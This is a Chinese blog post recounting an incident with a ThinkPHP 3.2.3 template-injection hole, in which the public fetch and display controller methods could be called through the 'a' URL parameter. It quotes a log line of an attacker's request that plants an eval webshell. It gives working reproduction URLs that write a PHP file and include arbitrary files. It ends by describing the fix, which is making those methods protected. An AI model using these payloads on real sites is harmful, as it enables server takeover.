记一次tp3.2.3因fetch导致的漏洞处理过程

参考:https://www.phpmianshi.com/?id=108

 

问题描述:

 

最近发现百度收录大幅度下降,并出现大量5xx错误,有些收录页面直接跳转到其他网站,如下图:

记一次tp3.2.3因fetch导致的漏洞处理过程插图

 

 

问题追查

1.根据以往经验首先怀疑网站被植入或者挂马

          于是排查系统日志,因为php项目的植入基本是通过eval植入的,所以我们直接:

          grep eval   nginx.log   发现类似如下日志:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根据日志基本确定就是被植入了,结合我们网站和wap使用的框架,确定这是tp3.2.3的漏洞

            漏洞概述

            远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到getshell的目的。

 

    ​    ​    ​一共有两种方式植入:
    ​    ​    ​第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

    ​    ​    ​fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell

    ​    ​    ​第二种是通过构造a参数的display方法,实现任意内容包含漏洞

    ​    ​  ​display函数的作用是加载模板和页面输出

          所对应的参数为:
    ​    ​  ​$templateFile 指定要调用的模板文件

    ​    ​  ​$charset 模板输出字符集

    ​    ​  $contentType 输出类型,$content 模板输出内容。

    ​    ​  ​templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,然后调用Thinkphp Controller 函数的display方法

 

3.实战演练

         我们通过fetch方法构造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然后执行上面的url就可以在项目目录写入test.php  打印服务器的phpinfo信息,打开 www.phpmianshi.com/test.php 发现可以直接看到phpinfo

 

    ​    ​我们通过display方法构造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然后执行上面的url就可以直接显示phpmianshi.txt的内容

 

         根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 Application\Common\Controller 路径下的 BaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法

 

解决方案

1.这边有问题的是display函数和fetch函数,display 和 fetch 函数的修饰符改为 protected  即可修复

2. 修复完成后,我们再执行 第三步:实战演练中的操作,发现不会再有植入的代码,说明修复成功

 

 

 

没有账号? 忘记密码?

社交账号快速登录